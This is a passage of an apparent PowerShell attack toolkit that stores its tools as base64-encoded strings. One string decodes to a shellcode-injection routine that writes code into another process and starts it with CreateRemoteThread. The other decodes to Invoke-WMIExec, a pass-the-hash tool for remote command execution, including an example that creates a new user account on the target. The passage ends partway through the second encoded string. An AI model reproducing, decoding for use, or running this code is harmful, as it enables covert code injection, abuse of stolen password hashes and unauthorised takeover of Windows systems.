"ZnVuY3Rpb24gSW52b2tlLUZzZAp7ClBhcmFtICgKW1VJbnQxNl0KJFByb2Nlc3NJRCwKW1BhcmFtZXRlciggUGFyYW1ldGVyU2V0TmFtZSA9ICdSdW5Mb2NhbCcgKV0KW0J5dGVbXV0KJFNoZWxsY29kZQopCkdldC1Qcm9jZXNzIC1JZCAkUHJvY2Vzc0lEIC1FcnJvckFjdGlvbiBTdG9wIHwgT3V0LU51bGwKZnVuY3Rpb24gTG9jYWw6R2V0LURlbGVnYXRlVHlwZQp7ClBhcmFtCigKW091dHB1dFR5cGUoW1R5cGVdKV0KW1BhcmFtZXRlciggUG9zaXRpb24gPSAwKV0KW1R5cGVbXV0KJFBhcmFtZXRlcnMgPSAoTmV3LU9iamVjdCBUeXBlW10oMCkpLApbUGFyYW1ldGVyKCBQb3NpdGlvbiA9IDEgKV0KW1R5cGVdCiRSZXR1cm5UeXBlID0gW1ZvaWRdCikKCgokYSA9IFtBcHBEb21haW5dOjpDdXJyZW50RG9tYWluCiRiID0gTmV3LU9iamVjdCBTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseU5hbWUoJ1JlZmxlY3RlZERlbGVnYXRlJykKJGMgPSAkYS5EZWZpbmVEeW5hbWljQXNzZW1ibHkoJGIsIFtTeXN0ZW0uUmVmbGVjdGlvbi5FbWl0LkFzc2VtYmx5QnVpbGRlckFjY2Vzc106OlJ1bikKJGQgPSAkYy5EZWZpbmVEeW5hbWljTW9kdWxlKCdJbk1lbW9yeU1vZHVsZScsICRmYWxzZSkKJGUgPSAkZC5EZWZpbmVUeXBlKCdNeURlbGVnYXRlVHlwZScsICdDbGFzcywgUHVibGljLCBTZWFsZWQsIEFuc2lDbGFzcywgQXV0b0NsYXNzJywgW1N5c3RlbS5NdWx0aWNhc3REZWxlZ2F0ZV0pCiRmID0gJGUuRGVmaW5lQ29uc3RydWN0b3IoJ1JUU3BlY2lhbE5hbWUsIEhpZGVCeVNpZywgUHVibGljJywgW1N5c3RlbS5SZWZsZWN0aW9uLkNhbGxpbmdDb252ZW50aW9uc106OlN0YW5kYXJkLCAkUGFyYW1ldGVycykKJGYuU2V0SW1wbGVtZW50YXRpb25GbGFncygnUnVudGltZSwgTWFuYWdlZCcpCiRnID0gJGUuRGVmaW5lTWV0aG9kKCdJbnZva2UnLCAnUHVibGljLCBIaWRlQnlTaWcsIE5ld1Nsb3QsIFZpcnR1YWwnLCAkUmV0dXJuVHlwZSwgJFBhcmFtZXRlcnMpCiRnLlNldEltcGxlbWVudGF0aW9uRmxhZ3MoJ1J1bnRpbWUsIE1hbmFnZWQnKQpXcml0ZS1PdXRwdXQgJGUuQ3JlYXRlVHlwZSgpCn0KZnVuY3Rpb24gTG9jYWw6R2V0LVByb2NBZGRyZXNzCnsKUGFyYW0KKApbT3V0cHV0VHlwZShbSW50UHRyXSldCltQYXJhbWV0ZXIoIFBvc2l0aW9uID0gMCwgTWFuZGF0b3J5ID0gJFRydWUgKV0KW1N0cmluZ10KJE1vZHVsZSwKW1BhcmFtZXRlciggUG9zaXRpb24gPSAxLCBNYW5kYXRvcnkgPSAkVHJ1ZSApXQpbU3RyaW5nXQokUHJvY2VkdXJlCikKJGggPSBbQXBwRG9tYWluXTo6Q3VycmVudERvbWFpbi5HZXRBc3NlbWJsaWVzKCkgfApXaGVyZS1PYmplY3QgeyAkXy5HbG9iYWxBc3NlbWJseUNhY2hlIC1BbmQgJF8uTG9jYXRpb24uU3BsaXQoJ1xcJylbLTFdLkVxdWFscygnU3lzdGVtLmRsbCcpIH0KJGkgPSAkaC5HZXRUeXBlKCdNaWNyb3NvZnQuV2luMzIuVW5zYWZlTmF0aXZlTWV0aG9kcycpCiRqID0gJGkuR2V0TWV0aG9kKCdHZXRNb2R1bGVIYW5kbGUnKQokayA9ICRpLkdldE1ldGhvZCgnR2V0UHJvY0FkZHJlc3MnKQokbCA9ICRqLkludm9rZSgkbnVsbCwgQCgkTW9kdWxlKSkKJG0gPSBOZXctT2JqZWN0IEludFB0cgokbiA9IE5ldy1PYmplY3QgU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLkhhbmRsZVJlZigkbSwgJGwpCldyaXRlLU91dHB1dCAkay5JbnZva2UoJG51bGwsIEAoW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5IYW5kbGVSZWZdJG4sICRQcm9jZWR1cmUpKSB9CmZ1bmN0aW9uIExvY2FsOkVtaXQtQ2FsbFRocmVhZFN0dWIgKFtJbnRQdHJdICRzLCBbSW50UHRyXSAkdCwgW0ludF0gJHUpCnsgJG8gPSAkdSAvIDgKZnVuY3Rpb24gTG9jYWw6Q29udmVydFRvLUxpdHRsZUVuZGlhbiAoW0ludFB0cl0gJHEpCnsgJHAgPSBOZXctT2JqZWN0IEJ5dGVbXSgwKQokcS5Ub1N0cmluZygiWCQoJG8qMikiKSAtc3BsaXQgJyhbQS1GMC05XXsyfSknIHwgRm9yRWFjaC1PYmplY3QgeyBpZiAoJF8pIHsgJHAgKz0gW0J5dGVdICgnMHh7MH0nIC1mICRfKSB9IH0KW1N5c3RlbS5BcnJheV06OlJldmVyc2UoJHApCldyaXRlLU91dHB1dCAkcCB9CiRyID0gTmV3LU9iamVjdCBCeXRlW10oMCkKaWYgKCRvIC1lcSA4KQp7IFtCeXRlW11dICRyID0gMHg0OCwweEI4CiRyICs9IENvbnZlcnRUby1MaXR0bGVFbmRpYW4gJHMKJHIgKz0gMHhGRiwweEQwCiRyICs9IDB4NkEsMHgwMAokciArPSAweDQ4LDB4QjgKJHIgKz0gQ29udmVydFRvLUxpdHRsZUVuZGlhbiAkdAokciArPSAweEZGLDB4RDAKfSBlbHNlIHsgW0J5dGVbXV0gJHIgPSAweEI4CiRyICs9IENvbnZlcnRUby1MaXR0bGVFbmRpYW4gJHMKJHIgKz0gMHhGRiwweEQwCiRyICs9IDB4NkEsMHgwMAokciArPSAweEI4CiRyICs9IENvbnZlcnRUby1MaXR0bGVFbmRpYW4gJHQKJHIgKz0gMHhGRiwweEQwCn0gV3JpdGUtT3V0cHV0ICRyIH0KZnVuY3Rpb24gTG9jYWw6SW5qZWN0LVJlbW90ZVNoZWxsY29kZSAoW0ludF0gJFByb2Nlc3NJRCkgewokYXAgPSAkT3BlblByb2Nlc3MuSW52b2tlKDB4MDAxRjBGRkYsICRmYWxzZSwgJFByb2Nlc3NJRCkKaWYgKCEkYXApe1Rocm93ICJVIn0KJFJlbW90ZU1lbUFkZHIgPSAkVmlydHVhbEFsbG9jRXguSW52b2tlKCRhcCwgW0ludFB0cl06Olplcm8sICRTaGVsbGNvZGUuTGVuZ3RoICsgMSwgMHgzMDAwLCAweDQwKQppZiAoISRSZW1vdGVNZW1BZGRyKXtUaHJvdyAiVW5iIn0KJGFvLkludm9rZSgkYXAsICRSZW1vdGVNZW1BZGRyLCAkU2hlbGxjb2RlLCAkU2hlbGxjb2RlLkxlbmd0aCwgW1JlZl0gMCkgfCBPdXQtTnVsbAokdCA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgRXhpdFRocmVhZAokciA9IEVtaXQtQ2FsbFRocmVhZFN0dWIgJFJlbW90ZU1lbUFkZHIgJHQgMzIKJFJlbW90ZVN0dWJBZGRyID0gJFZpcnR1YWxBbGxvY0V4Lkludm9rZSgkYXAsIFtJbnRQdHJdOjpaZXJvLCAkci5MZW5ndGgsIDB4MzAwMCwgMHg0MCkKaWYgKCEkUmVtb3RlU3R1YkFkZHIpe1Rocm93ICJVbmFEIn0KJGFvLkludm9rZSgkYXAsICRSZW1vdGVTdHViQWRkciwgJHIsICRyLkxlbmd0aCwgW1JlZl0gMCkgfCBPdXQtTnVsbAokVGhyZWFkSGFuZGxlID0gJENyZWF0ZVJlbW90ZVRocmVhZC5JbnZva2UoJGFwLCBbSW50UHRyXTo6WmVybywgMCwgJFJlbW90ZVN0dWJBZGRyLCAkUmVtb3RlTWVtQWRkciwgMCwgW0ludFB0cl06Olplcm8pCmlmICghJFRocmVhZEhhbmRsZSl7IFRocm93ICJVc0lEIiB9CiRDbG9zZUhhbmRsZS5JbnZva2UoJGFwKSB8IE91dC1OdWxsCn0gJGJhID0gR2V0LVByb2NBZGRyZXNzIGtlcm5lbDMyLmRsbCBJc1dvdzY0UHJvY2VzcwppZiAoJGJhKXsgJGNhRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW0ludFB0cl0sIFtCb29sXS5NYWtlQnlSZWZUeXBlKCkpIChbQm9vbF0pCiRjYSA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKCRiYSwgJGNhRGVsZWdhdGUpCiQ2NGJpdENQVSA9ICR0cnVlIH0KZWxzZSB7JDY0Yml0Q1BVID0gJGZhbHNlfQppZiAoW0ludFB0cl06OlNpemUgLWVxIDQpIHskUG93ZXJTaGVsbDMyYml0ID0gJHRydWV9CmVsc2UgeyRQb3dlclNoZWxsMzJiaXQgPSAkZmFsc2V9CmlmICggJFBTQm91bmRQYXJhbWV0ZXJzWydQcm9jZXNzSUQnXSApIHsKJE9wZW5Qcm9jZXNzQWRkciA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgT3BlblByb2Nlc3MKJE9wZW5Qcm9jZXNzRGVsZWdhdGUgPSBHZXQtRGVsZWdhdGVUeXBlIEAoW1VJbnQzMl0sIFtCb29sXSwgW1VJbnQzMl0pIChbSW50UHRyXSkKJE9wZW5Qcm9jZXNzID0gW1N5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcy5NYXJzaGFsXTo6R2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIoJE9wZW5Qcm9jZXNzQWRkciwgJE9wZW5Qcm9jZXNzRGVsZWdhdGUpCiRWaXJ0dWFsQWxsb2NFeEFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIFZpcnR1YWxBbGxvY0V4CiRWaXJ0dWFsQWxsb2NFeERlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbSW50UHRyXSwgW1VpbnQzMl0sIFtVSW50MzJdLCBbVUludDMyXSkgKFtJbnRQdHJdKQokVmlydHVhbEFsbG9jRXggPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkVmlydHVhbEFsbG9jRXhBZGRyLCAkVmlydHVhbEFsbG9jRXhEZWxlZ2F0ZSkKJGFvQWRkciA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgV3JpdGVQcm9jZXNzTWVtb3J5CiR3cG1kID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbSW50UHRyXSwgW0J5dGVbXV0sIFtVSW50MzJdLCBbVUludDMyXS5NYWtlQnlSZWZUeXBlKCkpIChbQm9vbF0pCiRhbyA9IFtTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbF06OkdldERlbGVnYXRlRm9yRnVuY3Rpb25Qb2ludGVyKCRhb0FkZHIsICR3cG1kKQokQ3JlYXRlUmVtb3RlVGhyZWFkQWRkciA9IEdldC1Qcm9jQWRkcmVzcyBrZXJuZWwzMi5kbGwgQ3JlYXRlUmVtb3RlVGhyZWFkCiRjcnRkID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdLCBbSW50UHRyXSwgW1VJbnQzMl0sIFtJbnRQdHJdLCBbSW50UHRyXSwgW1VJbnQzMl0sIFtJbnRQdHJdKSAoW0ludFB0cl0pCiRDcmVhdGVSZW1vdGVUaHJlYWQgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkQ3JlYXRlUmVtb3RlVGhyZWFkQWRkciwgJGNydGQpCiRDbG9zZUhhbmRsZUFkZHIgPSBHZXQtUHJvY0FkZHJlc3Mga2VybmVsMzIuZGxsIENsb3NlSGFuZGxlCiRDbG9zZUhhbmRsZURlbGVnYXRlID0gR2V0LURlbGVnYXRlVHlwZSBAKFtJbnRQdHJdKSAoW0Jvb2xdKQokQ2xvc2VIYW5kbGUgPSBbU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigkQ2xvc2VIYW5kbGVBZGRyLCAkQ2xvc2VIYW5kbGVEZWxlZ2F0ZSkKSW5qZWN0LVJlbW90ZVNoZWxsY29kZSAkUHJvY2Vzc0lkIH0gfQoK" + +# Author: @kevin_robertson +$wmiexec = "ZnVuY3Rpb24gSW52b2tlLVdNSUV4ZWMNCnsNCjwjDQouU1lOT1BTSVMNCkludm9rZS1XTUlFeGVjIHBlcmZvcm1zIFdNSSBjb21tYW5kIGV4ZWN1dGlvbiBvbiB0YXJnZXRzIHVzaW5nIE5UTE12MiBwYXNzIHRoZSBoYXNoIGF1dGhlbnRpY2F0aW9uLg0KDQouUEFSQU1FVEVSIFRhcmdldA0KSG9zdG5hbWUgb3IgSVAgYWRkcmVzcyBvZiB0YXJnZXQuDQoNCi5QQVJBTUVURVIgVXNlcm5hbWUNClVzZXJuYW1lIHRvIHVzZSBmb3IgYXV0aGVudGljYXRpb24uDQoNCi5QQVJBTUVURVIgRG9tYWluDQpEb21haW4gdG8gdXNlIGZvciBhdXRoZW50aWNhdGlvbi4gVGhpcyBwYXJhbWV0ZXIgaXMgbm90IG5lZWRlZCB3aXRoIGxvY2FsIGFjY291bnRzIG9yIHdoZW4gdXNpbmcgQGRvbWFpbiBhZnRlcg0KdGhlIHVzZXJuYW1lLiANCg0KLlBBUkFNRVRFUiBIYXNoDQpOVExNIHBhc3N3b3JkIGhhc2ggZm9yIGF1dGhlbnRpY2F0aW9uLiBUaGlzIG1vZHVsZSB3aWxsIGFjY2VwdCBlaXRoZXIgTE06TlRMTSBvciBOVExNIGZvcm1hdC4NCg0KLlBBUkFNRVRFUiBDb21tYW5kDQpDb21tYW5kIHRvIGV4ZWN1dGUgb24gdGhlIHRhcmdldC4gSWYgYSBjb21tYW5kIGlzIG5vdCBzcGVjaWZpZWQsIHRoZSBmdW5jdGlvbiB3aWxsIGp1c3QgY2hlY2sgdG8gc2VlIGlmIHRoZQ0KdXNlcm5hbWUgYW5kIGhhc2ggaGFzIGFjY2VzcyB0byBXTUkgb24gdGhlIHRhcmdldC4NCg0KLlBBUkFNRVRFUiBTbGVlcA0KRGVmYXVsdCA9IDEwIE1pbGxpc2Vjb25kczogU2V0cyB0aGUgZnVuY3Rpb24ncyBTdGFydC1TbGVlcCB2YWx1ZXMgaW4gbWlsbGlzZWNvbmRzLiBZb3UgY2FuIHRyeSB0d2Vha2luZyB0aGlzDQpzZXR0aW5nIGlmIHlvdSBhcmUgZXhwZXJpZW5jaW5nIHN0cmFuZ2UgcmVzdWx0cy4NCg0KLkVYQU1QTEUNCkludm9rZS1XTUlFeGVjIC1UYXJnZXQgMTkyLjE2OC4xMDAuMjAgLURvbWFpbiBURVNURE9NQUlOIC1Vc2VybmFtZSBURVNUIC1IYXNoIEY2RjM4Qjc5M0RCNkE5NEJBMDRBNTJGMUQzRUU5MkYwIC1Db21tYW5kICJjb21tYW5kIG9yIGxhdW5jaGVyIHRvIGV4ZWN1dGUiIC12ZXJib3NlDQoNCi5FWEFNUExFDQpJbnZva2UtV01JRXhlYyAtVGFyZ2V0IDE5Mi4xNjguMTAwLjIwIC1Vc2VybmFtZSBhZG1pbmlzdHJhdG9yIC1IYXNoIEY2RjM4Qjc5M0RCNkE5NEJBMDRBNTJGMUQzRUU5MkYwIC1Db21tYW5kICJjbWQuZXhlIC9jIG5ldCB1c2VyIFdNSUV4ZWMgV2ludGVyMjAxNyAvYWRkIg0KDQouRVhBTVBMRQ0KSW52b2tlLVdNSUV4ZWMgLVRhcmdldCAxOTIuMTY4LjEwMC4yMCAtVXNlcm5hbWUgYWRtaW5pc3RyYXRvciAtUGFzc3dvcmQgVGVzdA0KDQouTElOSw0KaHR0cHM6Ly9naXRodWIuY29tL0tldmluLVJvYmVydHNvbi9JbnZva2UtVGhlSGFzaA0KDQojPg0KW0NtZGxldEJpbmRpbmcoKV0NCnBhcmFtDQooDQogICAgW3BhcmFtZXRlcihNYW5kYXRvcnk9JHRydWUpXVtTdHJpbmddJFRhcmdldCwNCiAgICBbcGFyYW1ldGVyKE1hbmRhdG9yeT0kdHJ1ZSldW1N0cmluZ10kVXNlcm5hbWUsDQogICAgW3BhcmFtZXRlcihNYW5kYXRvcnk9JGZhbHNlKV1bU3RyaW5nXSREb21haW4sDQogICAgW3BhcmFtZXRlcihNYW5kYXRvcnk9JGZhbHNlKV1bU3RyaW5nXSRDb21tYW5kLA0KICAgIFtwYXJhbWV0ZXIoTWFuZGF0b3J5PSRmYWxzZSldW1N0cmluZ10kUGFzc3dvcmQsDQogICAgW3BhcmFtZXRlcihNYW5kYXRvcnk9JGZhbHNlKV1bVmFsaWRhdGVTY3JpcHQoeyRfLkxlbmd0aCAtZXEgMzIgLW9yICRfLkxlbmd0aCAtZXEgNjV9KV1bU3RyaW5nXSRIYXNoLA0KICAgIFtwYXJhbWV0ZXIoTWFuZGF0b3J5PSRmYWxzZSldW0ludF0kU2xlZXA9MTANCikNCg0KaWYoJENvbW1hbmQpDQp7DQogICAgJFdNSV9leGVjdXRlID0gJHRydWUNCn0NCg0KaWYoISRQYXNzd29yZCAtYW5kICEkSGFzaCl7DQogICAgZXhpdA0KfQ0KDQppZigkUGFzc3dvcmQpew0KICAgICRIYXNoID0gR2V0LU1ENEhhc2ggLURhdGFUb0hhc2ggJChbVGV4dC5FbmNvZGluZ106OlVuaWNvZGUuR2V0Qnl0ZXMoJFBhc3N3b3JkKSkNCiAgICBXcml0ZS1PdXRwdXQgIkhhc2ggYmVpbmcgdXNlZDogJEhhc2giDQp9DQoNCmZ1bmN0aW9uIENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5DQp7DQogICAgcGFyYW0oJHBhY2tldF9vcmRlcmVkX2RpY3Rpb25hcnkpDQoNCiAgICBGb3JFYWNoKCRmaWVsZCBpbiAkcGFja2V0X29yZGVyZWRfZGljdGlvbmFyeS5WYWx1ZXMpDQogICAgew0KICAgICAgICAkYnl0ZV9hcnJheSArPSAkZmllbGQNCiAgICB9DQoNCiAgICByZXR1cm4gJGJ5dGVfYXJyYXkNCn0NCg0KI1JQQw0KDQpmdW5jdGlvbiBHZXQtUGFja2V0UlBDQmluZCgpDQp7DQogICAgcGFyYW0oW0ludF0kcGFja2V0X2NhbGxfSUQsW0J5dGVbXV0kcGFja2V0X21heF9mcmFnLFtCeXRlW11dJHBhY2tldF9udW1fY3R4X2l0ZW1zLFtCeXRlW11dJHBhY2tldF9jb250ZXh0X0lELFtCeXRlW11dJHBhY2tldF9VVUlELFtCeXRlW11dJHBhY2tldF9VVUlEX3ZlcnNpb24pDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfY2FsbF9JRF9ieXRlcyA9IFtTeXN0ZW0uQml0Q29udmVydGVyXTo6R2V0Qnl0ZXMoJHBhY2tldF9jYWxsX0lEKQ0KDQogICAgJHBhY2tldF9SUENCaW5kID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1ZlcnNpb24iLFtCeXRlW11dKDB4MDUpKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVmVyc2lvbk1pbm9yIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1BhY2tldFR5cGUiLFtCeXRlW11dKDB4MGIpKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfUGFja2V0RmxhZ3MiLFtCeXRlW11dKDB4MDMpKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfRGF0YVJlcHJlc2VudGF0aW9uIixbQnl0ZVtdXSgweDEwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ZyYWdMZW5ndGgiLFtCeXRlW11dKDB4NDgsMHgwMCkpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9BdXRoTGVuZ3RoIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ2FsbElEIiwkcGFja2V0X2NhbGxfSURfYnl0ZXMpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9NYXhYbWl0RnJhZyIsW0J5dGVbXV0oMHhiOCwweDEwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX01heFJlY3ZGcmFnIixbQnl0ZVtdXSgweGI4LDB4MTApKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXNzb2NHcm91cCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9OdW1DdHhJdGVtcyIsJHBhY2tldF9udW1fY3R4X2l0ZW1zKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVW5rbm93biIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQ29udGV4dElEIiwkcGFja2V0X2NvbnRleHRfSUQpDQogICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9OdW1UcmFuc0l0ZW1zIixbQnl0ZVtdXSgweDAxKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1Vua25vd24yIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZSIsJHBhY2tldF9VVUlEKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlVmVyIiwkcGFja2V0X1VVSURfdmVyc2lvbikNCiAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZVZlck1pbm9yIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVHJhbnNmZXJTeW50YXgiLFtCeXRlW11dKDB4MDQsMHg1ZCwweDg4LDB4OGEsMHhlYiwweDFjLDB4YzksMHgxMSwweDlmLDB4ZTgsMHgwOCwweDAwLDB4MmIsMHgxMCwweDQ4LDB4NjApKQ0KICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVHJhbnNmZXJTeW50YXhWZXIiLFtCeXRlW11dKDB4MDIsMHgwMCwweDAwLDB4MDApKQ0KDQogICAgaWYoJHBhY2tldF9udW1fY3R4X2l0ZW1zWzBdIC1lcSAyKQ0KICAgIHsNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Db250ZXh0SUQyIixbQnl0ZVtdXSgweDAxLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX051bVRyYW5zSXRlbXMyIixbQnl0ZVtdXSgweDAxKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Vbmtub3duMyIsW0J5dGVbXV0oMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlMiIsW0J5dGVbXV0oMHhjNCwweGZlLDB4ZmMsMHg5OSwweDYwLDB4NTIsMHgxYiwweDEwLDB4YmIsMHhjYiwweDAwLDB4YWEsMHgwMCwweDIxLDB4MzQsMHg3YSkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlVmVyMiIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JbnRlcmZhY2VWZXJNaW5vcjIiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVHJhbnNmZXJTeW50YXgyIixbQnl0ZVtdXSgweDJjLDB4MWMsMHhiNywweDZjLDB4MTIsMHg5OCwweDQwLDB4NDUsMHgwMywweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9UcmFuc2ZlclN5bnRheFZlcjIiLFtCeXRlW11dKDB4MDEsMHgwMCwweDAwLDB4MDApKQ0KICAgIH0NCiAgICBlbHNlaWYoJHBhY2tldF9udW1fY3R4X2l0ZW1zWzBdIC1lcSAzKQ0KICAgIHsNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Db250ZXh0SUQyIixbQnl0ZVtdXSgweDAxLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX051bVRyYW5zSXRlbXMyIixbQnl0ZVtdXSgweDAxKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9Vbmtub3duMyIsW0J5dGVbXV0oMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlMiIsW0J5dGVbXV0oMHg0MywweDAxLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfSW50ZXJmYWNlVmVyMiIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JbnRlcmZhY2VWZXJNaW5vcjIiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfVHJhbnNmZXJTeW50YXgyIixbQnl0ZVtdXSgweDMzLDB4MDUsMHg3MSwweDcxLDB4YmEsMHhiZSwweDM3LDB4NDksMHg4MywweDE5LDB4YjUsMHhkYiwweGVmLDB4OWMsMHhjYywweDM2KSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9UcmFuc2ZlclN5bnRheFZlcjIiLFtCeXRlW11dKDB4MDEsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0NvbnRleHRJRDMiLFtCeXRlW11dKDB4MDIsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfTnVtVHJhbnNJdGVtczMiLFtCeXRlW11dKDB4MDEpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1Vua25vd240IixbQnl0ZVtdXSgweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JbnRlcmZhY2UzIixbQnl0ZVtdXSgweDQzLDB4MDEsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHhjMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDQ2KSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9JbnRlcmZhY2VWZXIzIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0ludGVyZmFjZVZlck1pbm9yMyIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAgICAgJHBhY2tldF9SUENCaW5kLkFkZCgiUlBDQmluZF9UcmFuc2ZlclN5bnRheDMiLFtCeXRlW11dKDB4MmMsMHgxYywweGI3LDB4NmMsMHgxMiwweDk4LDB4NDAsMHg0NSwweDAzLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX1RyYW5zZmVyU3ludGF4VmVyMyIsW0J5dGVbXV0oMHgwMSwweDAwLDB4MDAsMHgwMCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXV0aFR5cGUiLFtCeXRlW11dKDB4MGEpKQ0KICAgICAgICAkcGFja2V0X1JQQ0JpbmQuQWRkKCJSUENCaW5kX0F1dGhMZXZlbCIsW0J5dGVbXV0oMHgwNCkpDQogICAgICAgICRwYWNrZXRfUlBDQmluZC5BZGQoIlJQQ0JpbmRfQXV0aFBh